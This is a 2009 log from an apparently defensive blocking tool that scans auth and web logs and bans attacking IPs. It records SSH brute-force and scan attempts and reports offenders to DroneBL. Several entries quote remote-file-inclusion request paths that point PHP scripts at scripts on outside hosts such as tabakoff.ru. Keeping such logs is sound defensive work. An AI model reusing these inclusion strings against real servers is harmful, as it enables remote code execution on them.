[Mon Aug 31 05:37:54 2009] Log started
[Mon Aug 31 05:37:54 2009] Parsing [ONCE] /var/log/auth.log.1 ...
[Mon Aug 31 05:38:27 2009] Hit to NOACTION_IPS(xxx.xxx.xxx.xxx): [SSH login scan] 
[Mon Aug 31 05:38:27 2009] Hit to NOACTION_IPS(xxx.xxx.xxx.xxx): [SSH login scan] 
[Mon Aug 31 05:38:27 2009] Hit to NOACTION_IPS(xxx.xxx.xxx.xxx): [SSH login scan] 
[Mon Aug 31 05:38:27 2009] Initial parsing /var/log/auth.log ...
[Mon Aug 31 05:38:27 2009] Initial parsing /var/log/httpd/error.log ...
[Mon Aug 31 05:38:29 2009] * Adding 85.214.79.184 @ Sun Aug 30 04:38:28 2009: [CGI vuln scan] /var/www/tnsp.org/bugtracker
[Mon Aug 31 05:38:29 2009] Initial parsing /var/log/httpd/access.log ...
[Mon Aug 31 05:38:31 2009] [DroneBL] Queueing 125.237.118.209 @ 1251679383 (type 2)
[Mon Aug 31 05:38:31 2009] Entering main scanning loop.
[Mon Aug 31 05:38:32 2009] [DroneBL] Trying to submit 1 entries.
[Mon Aug 31 05:38:33 2009] [DroneBL] Succesfully submitted 1 entries.
[Mon Aug 31 05:45:35 2009] Fetching evidence for http://trabajoacademico.iespana.es/envio.txt?
[Mon Aug 31 05:47:36 2009] * Weeding 61.204.33.54 (Mon Aug 24 05:47:17 2009)
[Mon Aug 31 05:49:28 2009] * Adding 12.185.95.214 @ Mon Aug 31 05:49:28 2009: [PHP XSS] /xmms-sid.php/errors.php?error=http://www.tabakoff.ru//dimti/AinuLid1.txt?
[Mon Aug 31 05:49:28 2009] [DroneBL] Queueing 12.185.95.214 @ 1251686968 (type 2)
[Mon Aug 31 05:49:37 2009] Fetching evidence for http://www.tabakoff.ru//dimti/AinuLid1.txt?
[Mon Aug 31 05:49:40 2009] [DroneBL] Trying to submit 1 entries.
[Mon Aug 31 05:49:40 2009] [DroneBL] Succesfully submitted 1 entries.
[Mon Aug 31 05:50:24 2009] * Adding 141.44.17.23 @ Mon Aug 31 05:50:23 2009: [PHP XSS] /xmms-sid.php/errors.php?error=http://www.tabakoff.ru//dimti/AinuLid1.txt?
[Mon Aug 31 05:50:24 2009] [DroneBL] Queueing 141.44.17.23 @ 1251687023 (type 2)
[Mon Aug 31 05:50:41 2009] [DroneBL] Trying to submit 1 entries.
[Mon Aug 31 05:50:41 2009] [DroneBL] Succesfully submitted 1 entries.
[Mon Aug 31 05:54:01 2009] * Adding 208.77.96.146 @ Mon Aug 31 05:54:01 2009: [PHP XSS] /xmms-sid.php/errors.php?error=http://www.tabakoff.ru//dimti/AinuLid1.txt?
[Mon Aug 31 05:54:01 2009] [DroneBL] Queueing 208.77.96.146 @ 1251687241 (type 2)
[Mon Aug 31 05:54:08 2009] * Adding 174.137.176.68 @ Mon Aug 31 05:54:07 2009: [PHP XSS] /xmms-sid.php/errors.php?error=http://www.tabakoff.ru//dimti/AinuLid1.txt?
[Mon Aug 31 05:54:08 2009] [DroneBL] Queueing 174.137.176.68 @ 1251687247 (type 2)
[Mon Aug 31 05:54:43 2009] [DroneBL] Trying to submit 2 entries.
[Mon Aug 31 05:54:44 2009] [DroneBL] Succesfully submitted 2 entries.
[Mon Aug 31 05:58:09 2009] * Adding 67.108.252.200 @ Mon Aug 31 05:58:08 2009: [PHP XSS] /xmms-sid.php/errors.php?error=http://www.tabakoff.ru//dimti/AinuLid1.txt?
[Mon Aug 31 05:58:09 2009] [DroneBL] Queueing 67.108.252.200 @ 1251687488 (type 2)
[Mon Aug 31 05:58:46 2009] [DroneBL] Trying to submit 1 entries.
[Mon Aug 31 05:58:46 2009] [DroneBL] Succesfully submitted 1 entries.
[Mon Aug 31 12:21:39 2009] * Weeding 59.67.77.239 (Mon Aug 24 12:21:21 2009)
[Mon Aug 31 15:09:39 2009] * Weeding 174.116.94.112 (Mon Aug 24 15:09:32 2009)
[Mon Aug 31 15:18:16 2009] * Adding 213.22.112.35 @ Mon Aug 31 15:18:15 2009: [PHP XSS] /maps/loc.php?a=http://217.218.225.2:2082/index.html?
[Mon Aug 31 15:18:16 2009] [DroneBL] Queueing 213.22.112.35 @ 1251721095 (type 6)
[Mon Aug 31 15:18:42 2009] [DroneBL] Trying to submit 1 entries.
[Mon Aug 31 15:18:43 2009] [DroneBL] Succesfully submitted 1 entries.
[Mon Aug 31 16:19:04 2009] * Weeding 202.156.10.249 (Mon Aug 24 16:19:00 2009)
[Mon Aug 31 16:22:05 2009] * Weeding 125.141.233.22 (Mon Aug 24 16:21:08 2009)
[Mon Aug 31 19:47:19 2009] * Weeding 89.75.161.142 (Mon Aug 24 19:46:50 2009)
[Mon Aug 31 21:05:59 2009] * Weeding 85.181.167.136 (Mon Aug 31 20:30:09 2009)
[Mon Aug 31 21:07:17 2009] [DroneBL] Queueing 84.18.198.72 @ 1251742036 (type 6)
[Mon Aug 31 21:08:00 2009] Fetching evidence for http://hostned.ws/sites/hardcore/hard.gif?
[Mon Aug 31 21:08:01 2009] [DroneBL] Trying to submit 1 entries.
[Mon Aug 31 21:08:02 2009] [DroneBL] Succesfully submitted 1 entries.
[Mon Aug 31 22:55:40 2009] * Weeding 207.111.172.36 (Mon Aug 24 22:55:33 2009)
[Mon Aug 31 22:57:40 2009] * Weeding 195.56.111.161 (Mon Aug 24 22:57:28 2009)
[Tue Sep  1 00:15:07 2009] * Weeding 110.45.146.223 (Mon Aug 31 20:30:09 2009)
[Tue Sep  1 02:32:53 2009] * Weeding 87.11.251.99 (Mon Aug 31 20:30:09 2009)
[Tue Sep  1 07:07:55 2009] [DroneBL] Queueing 208.94.175.182 @ 1251778074 (type 13)
[Tue Sep  1 07:07:58 2009] * Adding 208.94.175.182 @ Tue Sep  1 07:07:58 2009: [Root SSH password bruteforce] 
[Tue Sep  1 07:08:24 2009] [DroneBL] Trying to submit 1 entries.
[Tue Sep  1 07:08:25 2009] [DroneBL] Succesfully submitted 1 entries.
[Tue Sep  1 07:11:26 2009] * Weeding 64.34.178.37 (Tue Aug 25 07:11:23 2009)
[Tue Sep  1 14:40:00 2009] * Weeding 92.83.211.97 (Mon Aug 31 20:30:09 2009)
[Tue Sep  1 17:34:27 2009] [DroneBL] Queueing 220.95.232.222 @ 1251815667 (type 13)
[Tue Sep  1 17:34:32 2009] * Adding 220.95.232.222 @ Tue Sep  1 17:34:32 2009: [Root SSH password bruteforce] 
[Tue Sep  1 17:34:57 2009] [DroneBL] Trying to submit 1 entries.
[Tue Sep  1 17:34:58 2009] [DroneBL] Succesfully submitted 1 entries.